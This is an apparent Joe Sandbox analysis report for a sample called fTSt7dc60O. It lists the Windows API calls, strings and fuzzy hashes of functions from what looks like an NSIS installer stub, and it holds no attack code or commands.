Opcode Fuzzy Hash: d952f9c30b305397e7321c136bd4514fabccd71d09d56b1e0123fd5a1a2d1ce8
Instruction Fuzzy Hash: 8AC12670604311AAD720BF659C49A2B3EACEB8574AF10483FF480B62D2D77D9D41CB6E

Function 004057D0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,00436800,771B2EE0,00434000), ref: 004057F9
lstrcatW.KERNEL32(004246F0,\*.*,004246F0,?,?,00436800,771B2EE0,00434000), ref: 00405841
lstrcatW.KERNEL32(?,00409014,?,004246F0,?,?,00436800,771B2EE0,00434000), ref: 00405864
lstrlenW.KERNEL32(?,?,00409014,?,004246F0,?,?,00436800,771B2EE0,00434000), ref: 0040586A
FindFirstFileW.KERNEL32(004246F0,?,?,?,00409014,?,004246F0,?,?,00436800,771B2EE0,00434000), ref: 0040587A
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 0040591A
FindClose.KERNEL32(00000000), ref: 00405929

Strings

\*.*, xrefs: 0040583B

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 2035342205-1173974218
Opcode ID: 3bfd9f40d867dfb13d75fcd1b7ef3c21c8eb5f8be3eae84d4eb3b7d6c7e95577
Instruction ID: 2292a97837c012d07e09995a86319137dd3f2048718c0aa8a22e23afcdeedbd0
Opcode Fuzzy Hash: 3bfd9f40d867dfb13d75fcd1b7ef3c21c8eb5f8be3eae84d4eb3b7d6c7e95577
Instruction Fuzzy Hash: BF41C171800914EACF217B668C49BBF7678EB81328F24817BF811761D1D77C4E829E6E

Function 0040659D Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a31c6952aff2c2d9e3077db5cda77fcb20a4fa1314c68fe29834e6b9dbef6b62
Instruction ID: 2d3234ddcc30eb1b928d1b3f6e05ca322d860fc2e9c12c5c13e3e91ce8371178
Opcode Fuzzy Hash: a31c6952aff2c2d9e3077db5cda77fcb20a4fa1314c68fe29834e6b9dbef6b62
Instruction Fuzzy Hash: 74F17571D04229CBCF28CFA8C8946ADBBB1FF44305F25856ED456BB281D3785A96CF44

Function 0040628B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00436800,00425738,00424EF0,00405AE4,00424EF0,00424EF0,00000000,00424EF0,00424EF0,00436800,?,771B2EE0,004057F0,?,00436800,771B2EE0), ref: 00406296
FindClose.KERNEL32(00000000), ref: 004062A2

Strings

8WB, xrefs: 0040628C

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: 8WB
API String ID: 2295610775-3088156181
Opcode ID: ea398e9f6ccb252cf4d9fa8037675df58843bd33ee06a9524947f1dc2dc69440
Instruction ID: bfad84801e56aa45620b307e7a8f789e26230cc956ed9d1a225fdef78671a1f1
Opcode Fuzzy Hash: ea398e9f6ccb252cf4d9fa8037675df58843bd33ee06a9524947f1dc2dc69440
Instruction Fuzzy Hash: A7D01231A59020ABC6003B38AD0C84B7A989B553317224AB6F426F63E0C37C8C66969D

Function 00405331 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 282windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405390
GetDlgItem.USER32(?,000003EE), ref: 0040539F
GetClientRect.USER32(?,?), ref: 004053DC
GetSystemMetrics.USER32(00000015), ref: 004053E4
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 00405405
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405416
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405429
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405437
SendMessageW.USER32(?,00001024,00000000,?), ref: 0040544A
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 0040546C
ShowWindow.USER32(?,00000008), ref: 00405480
GetDlgItem.USER32(?,000003EC), ref: 004054A1
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 004054B1
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004054CA
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004054D6
GetDlgItem.USER32(?,000003F8), ref: 004053AE

Part of subcall function 004041CF: SendMessageW.USER32(00000028,?,00000001,00403FFB), ref: 004041DD

GetDlgItem.USER32(?,000003EC), ref: 004054F3
CreateThread.KERNEL32(00000000,00000000,Function_000052C5,00000000), ref: 00405501
CloseHandle.KERNEL32(00000000), ref: 00405508
ShowWindow.USER32(00000000), ref: 0040552C
ShowWindow.USER32(?,00000008), ref: 00405531
ShowWindow.USER32(00000008), ref: 0040557B
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004055AF
CreatePopupMenu.USER32 ref: 004055C0
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004055D4
GetWindowRect.USER32(?,?), ref: 004055F4
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 0040560D
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405645
OpenClipboard.USER32(00000000), ref: 00405655
EmptyClipboard.USER32 ref: 0040565B
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405667
GlobalLock.KERNEL32(00000000), ref: 00405671
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405685
GlobalUnlock.KERNEL32(00000000), ref: 004056A5
SetClipboardData.USER32(0000000D,00000000), ref: 004056B0
CloseClipboard.USER32 ref: 004056B6

Strings

&B, xrefs: 00405621
{, xrefs: 00405599

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {$&B
API String ID: 590372296-2518801558
Opcode ID: 7570b3111e19f9b1f2c2f087663f0f5ff2e06d661aa676c5aff00108803347b1
Instruction ID: 6f8bb207ab4459f732b66fbe2fdab1c380fd8c459621fe3193bce92f33b6cf64
Opcode Fuzzy Hash: 7570b3111e19f9b1f2c2f087663f0f5ff2e06d661aa676c5aff00108803347b1
Instruction Fuzzy Hash: ECB14A70900208FFDB119F60DD89AAE7B79FB04354F40817AFA05BA1A0C7759E52DF69

Function 00403CC2 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403CFE
ShowWindow.USER32(?), ref: 00403D1B
DestroyWindow.USER32 ref: 00403D2F
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403D4B
GetDlgItem.USER32(?,?), ref: 00403D6C
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403D80
IsWindowEnabled.USER32(00000000), ref: 00403D87
GetDlgItem.USER32(?,00000001), ref: 00403E35
GetDlgItem.USER32(?,00000002), ref: 00403E3F
SetClassLongW.USER32(?,000000F2,?), ref: 00403E59
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00403EAA
GetDlgItem.USER32(?,00000003), ref: 00403F50
ShowWindow.USER32(00000000,?), ref: 00403F71
EnableWindow.USER32(?,?), ref: 00403F83
EnableWindow.USER32(?,?), ref: 00403F9E
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403FB4
EnableMenuItem.USER32(00000000), ref: 00403FBB
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00403FD3
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00403FE6
lstrlenW.KERNEL32(004226E8,?,004226E8,00428200), ref: 0040400F
SetWindowTextW.USER32(?,004226E8), ref: 00404023
ShowWindow.USER32(?,0000000A), ref: 00404157

Strings

&B, xrefs: 00403FFB

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID: &B
API String ID: 184305955-3208460036
Opcode ID: 7cbc7830e6f4af9eeab0957ba226e6b71e67b9927e797dbb4650133cf52de542
Instruction ID: 615a13079a357bc63dc92eaebf5b97e46402dd0953b19927b77141fc7a078d9b
Opcode Fuzzy Hash: 7cbc7830e6f4af9eeab0957ba226e6b71e67b9927e797dbb4650133cf52de542
Instruction Fuzzy Hash: B6C1A371A04201BBDB216F61ED49E2B3AA8FB95705F40093EF601B51F1C7799892DB2E

Function 0040391F Relevance: 42.2, APIs: 15, Strings: 9, Instructions: 216stringregistrylibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 004062B2: GetModuleHandleA.KERNEL32(?,?,00000020,0040339D,00000009), ref: 004062C4
Part of subcall function 004062B2: LoadLibraryA.KERNEL32(?,?,00000020,0040339D,00000009), ref: 004062CF
Part of subcall function 004062B2: GetProcAddress.KERNEL32(00000000,?), ref: 004062E0

lstrcatW.KERNEL32(00436000,004226E8,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226E8,00000000,00000002,00436800,771B3420,00000000,00434000), ref: 004039A0
lstrlenW.KERNEL32(004271A0,?,?,?,004271A0,00000000,00434800,00436000,004226E8,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226E8,00000000,00000002,00436800), ref: 00403A20
lstrcmpiW.KERNEL32(00427198,.exe,004271A0,?,?,?,004271A0,00000000,00434800,00436000,004226E8,80000001,Control Panel\Desktop\ResourceLocale,00000000,004226E8,00000000), ref: 00403A33
GetFileAttributesW.KERNEL32(004271A0), ref: 00403A3E
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,00434800), ref: 00403A87

Part of subcall function 00405E8F: wsprintfW.USER32 ref: 00405E9C

RegisterClassW.USER32(004281A0), ref: 00403AC4
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403ADC
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403B11
ShowWindow.USER32(00000005,00000000), ref: 00403B47
LoadLibraryW.KERNEL32(RichEd20), ref: 00403B58
LoadLibraryW.KERNEL32(RichEd32), ref: 00403B63
GetClassInfoW.USER32(00000000,RichEdit20W,004281A0), ref: 00403B73
GetClassInfoW.USER32(00000000,RichEdit,004281A0), ref: 00403B80
RegisterClassW.USER32(004281A0), ref: 00403B89
DialogBoxParamW.USER32(?,00000000,00403CC2,00000000), ref: 00403BA8

Strings

_Nb, xrefs: 00403AA3, 00403B0B
RichEd32, xrefs: 00403B5E
.DEFAULT\Control Panel\International, xrefs: 0040398B
.exe, xrefs: 00403A2D
&B, xrefs: 0040394B
RichEdit20W, xrefs: 00403B6B, 00403B71
RichEdit, xrefs: 00403B7A
RichEd20, xrefs: 00403B53
Control Panel\Desktop\ResourceLocale, xrefs: 00403953

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: ClassLoad$InfoLibrary$RegisterWindow$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb$&B
API String ID: 914957316-1918744475
Opcode ID: da30a9c0db2d4db67001de93ddcc73e1ef45d51233dd8672779a7638217d6adb
Instruction ID: 309fb0296e4a6d1bba18aa3b2e86eaa258190dfd088e540a173f113b23667d40
Opcode Fuzzy Hash: da30a9c0db2d4db67001de93ddcc73e1ef45d51233dd8672779a7638217d6adb
Instruction Fuzzy Hash: BE61B570644200BED720AF669C46F2B3A7CEB84749F40457FF945B62E2DB796902CA3D

Function 00404337 Relevance: 38.7, APIs: 20, Strings: 2, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 004043D5
GetDlgItem.USER32(?,000003E8), ref: 004043E9
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404406
GetSysColor.USER32(?), ref: 00404417
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 00404425
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 00404433
lstrlenW.KERNEL32(?), ref: 00404438
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 00404445
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 0040445A
GetDlgItem.USER32(?,0000040A), ref: 004044B3
SendMessageW.USER32(00000000), ref: 004044BA
GetDlgItem.USER32(?,000003E8), ref: 004044E5
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 00404528
LoadCursorW.USER32(00000000,00007F02), ref: 00404536
SetCursor.USER32(00000000), ref: 00404539
ShellExecuteW.SHELL32(0000070B,open,004271A0,00000000,00000000,00000001), ref: 0040454E
LoadCursorW.USER32(00000000,00007F00), ref: 0040455A
SetCursor.USER32(00000000), ref: 0040455D
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040458C
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040459E

Strings

N, xrefs: 004044D3
open, xrefs: 00404546

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: N$open
API String ID: 3615053054-904208323
Opcode ID: 3a3e15a46bcef9b8006e363d6ddaa5c0bc478510f2ba28bfd0355cb20498c547
Instruction ID: 8b9c65ccee0929ae2cd37a550bbe3266d1c56d3aba5277cbe5cc7d17fb3eae84
Opcode Fuzzy Hash: 3a3e15a46bcef9b8006e363d6ddaa5c0bc478510f2ba28bfd0355cb20498c547
Instruction Fuzzy Hash: 19718FB1A00209FFDB109F60DD85A6A7BA9FB94354F00853AFB01B62D1C778AD51CF99

Function 00405C66 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 136stringmemoryfileCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00425D88,NUL,?,00000000,?,?,?,00405E0A,?,?,00000001,00405982,?,00000000,000000F1,?), ref: 00405C76
CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,?,?,?,00405E0A,?,?,00000001,00405982,?,00000000,000000F1,?), ref: 00405C9A
GetShortPathNameW.KERNEL32(00000000,00425D88,00000400), ref: 00405CA3

Part of subcall function 00405B19: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405D53,00000000,[Rename],00000000,00000000,00000000), ref: 00405B29
Part of subcall function 00405B19: lstrlenA.KERNEL32(00405D53,?,00000000,00405D53,00000000,[Rename],00000000,00000000,00000000), ref: 00405B5B

GetShortPathNameW.KERNEL32(?,00426588,00000400), ref: 00405CC0
wsprintfA.USER32 ref: 00405CDE
GetFileSize.KERNEL32(00000000,00000000,00426588,C0000000,00000004,00426588,?,?,?,?,?), ref: 00405D19
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00405D28
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000), ref: 00405D60
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,00000000,00425988,00000000,-0000000A,00409560,00000000,[Rename],00000000,00000000,00000000), ref: 00405DB6
WriteFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00405DC8
GlobalFree.KERNEL32(00000000), ref: 00405DCF
CloseHandle.KERNEL32(00000000), ref: 00405DD6

Part of subcall function 00405BB4: GetFileAttributesW.KERNEL32(00000003,00402DFF,00437800,80000000,00000003), ref: 00405BB8
Part of subcall function 00405BB4: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405BDA

Strings

%ls=%ls, xrefs: 00405CD4
[Rename], xrefs: 00405D48, 00405D5A
NUL, xrefs: 00405C70

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizeWritewsprintf
String ID: %ls=%ls$NUL$[Rename]
API String ID: 1265525490-899692902
Opcode ID: 7d53d5cdfc02749ad00d931577bac562460a5dc9187a855172881db6ba44cc92
Instruction ID: 10a6a65bcc8db41326b0965a868e5b78be2cc6b43571d182478210b5aa6aebd6
Opcode Fuzzy Hash: 7d53d5cdfc02749ad00d931577bac562460a5dc9187a855172881db6ba44cc92
Instruction Fuzzy Hash: E941FE71604A18BFD2206B61AC4CF6B3A6CEF45714F24443BB901B62D2EA78AD018A7D

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00428200,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: c8f07ac8fddda19ee2bf7cb4f90658f54556206f608d49a47768e3a2d0e378b6
Instruction ID: fcf32cd20748a1213536d9d4e972d5f65e682a1af5e7fde79162f5b09e182029
Opcode Fuzzy Hash: c8f07ac8fddda19ee2bf7cb4f90658f54556206f608d49a47768e3a2d0e378b6
Instruction Fuzzy Hash: D2418B71804249AFCB058FA5DD459BFBBB9FF44310F00852AF561AA1A0C738EA51DFA5

Function 00404635 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 265stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 00404684
SetWindowTextW.USER32(00000000,?), ref: 004046AE
SHBrowseForFolderW.SHELL32(?), ref: 0040475F
CoTaskMemFree.OLE32(00000000), ref: 0040476A
lstrcmpiW.KERNEL32(004271A0,004226E8,00000000,?,?), ref: 0040479C
lstrcatW.KERNEL32(?,004271A0), ref: 004047A8
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004047BA

Part of subcall function 00405708: GetDlgItemTextW.USER32(?,?,00000400,004047F1), ref: 0040571B

Part of subcall function 004061DC: CharNextW.USER32(?,*?|<>/":,00000000,00434000,00436800,00436800,00000000,00403332,00436800,771B3420,00403542), ref: 0040623F
Part of subcall function 004061DC: CharNextW.USER32(?,?,?,00000000), ref: 0040624E
Part of subcall function 004061DC: CharNextW.USER32(?,00434000,00436800,00436800,00000000,00403332,00436800,771B3420,00403542), ref: 00406253
Part of subcall function 004061DC: CharPrevW.USER32(?,?,00436800,00436800,00000000,00403332,00436800,771B3420,00403542), ref: 00406266

GetDiskFreeSpaceW.KERNEL32(004206B8,?,?,0000040F,?,004206B8,004206B8,?,00000000,004206B8,?,?,000003FB,?), ref: 0040487B
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404896
SetDlgItemTextW.USER32(00000000,00000400,004206A8), ref: 0040490F

Strings

&B, xrefs: 00404732
A, xrefs: 00404758

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
String ID: A$&B
API String ID: 2246997448-2586977930
Opcode ID: 721fa909628c388d9eed4d059dc136074f5db6b4ff511665bfd1b1201094e888
Instruction ID: 6e37369fe6ef7f71d764005b1086c215e28ed7130f32df1ae996be3c53d44702
Opcode Fuzzy Hash: 721fa909628c388d9eed4d059dc136074f5db6b4ff511665bfd1b1201094e888
Instruction Fuzzy Hash: A79170F1900219EBDB10AFA1DC85AAF77B8EF85714F10443BF601B62D1D77C9A418B69

Function 00402DBC Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 203memoryCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00402DD0
GetModuleFileNameW.KERNEL32(00000000,00437800,00000400), ref: 00402DEC

Part of subcall function 00405BB4: GetFileAttributesW.KERNEL32(00000003,00402DFF,00437800,80000000,00000003), ref: 00405BB8
Part of subcall function 00405BB4: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405BDA

GetFileSize.KERNEL32(00000000,00000000,00438000,00000000,00435800,00435800,00437800,00437800,80000000,00000003), ref: 00402E35
GlobalAlloc.KERNEL32(00000040,00409230), ref: 00402F7C

Strings

soft, xrefs: 00402EAC
Null, xrefs: 00402EB5
Error launching installer, xrefs: 00402E0C
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00402FC5
Inst, xrefs: 00402EA3
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403013

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-787788815
Opcode ID: dbc4309bf9e12582ea8865ce62b28691ef8d5c521c6be9f7d6ce07414c4970ed
Instruction ID: b2cc58b1aa553f56ba66d3b0850f03698e33e3340d89f7fe3e9d1fe3a0eb5287
Opcode Fuzzy Hash: dbc4309bf9e12582ea8865ce62b28691ef8d5c521c6be9f7d6ce07414c4970ed
Instruction Fuzzy Hash: 43610371941205ABDB209FA4DD85B9E3BB8EB04354F20447BF605B72D2C7BC9E418BAD

Function 00405F6A Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 207stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,004216C8,?,00405229,004216C8,00000000,00000000,00000000), ref: 0040602D
GetSystemDirectoryW.KERNEL32(004271A0,00000400), ref: 004060AB
GetWindowsDirectoryW.KERNEL32(004271A0,00000400), ref: 004060BE
SHGetSpecialFolderLocation.SHELL32(?,?), ref: 004060FA
SHGetPathFromIDListW.SHELL32(?,004271A0), ref: 00406108
CoTaskMemFree.OLE32(?), ref: 00406113
lstrcatW.KERNEL32(004271A0,\Microsoft\Internet Explorer\Quick Launch), ref: 00406137
lstrlenW.KERNEL32(004271A0,00000000,004216C8,?,00405229,004216C8,00000000,00000000,00000000), ref: 00406191

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406131
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406079

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
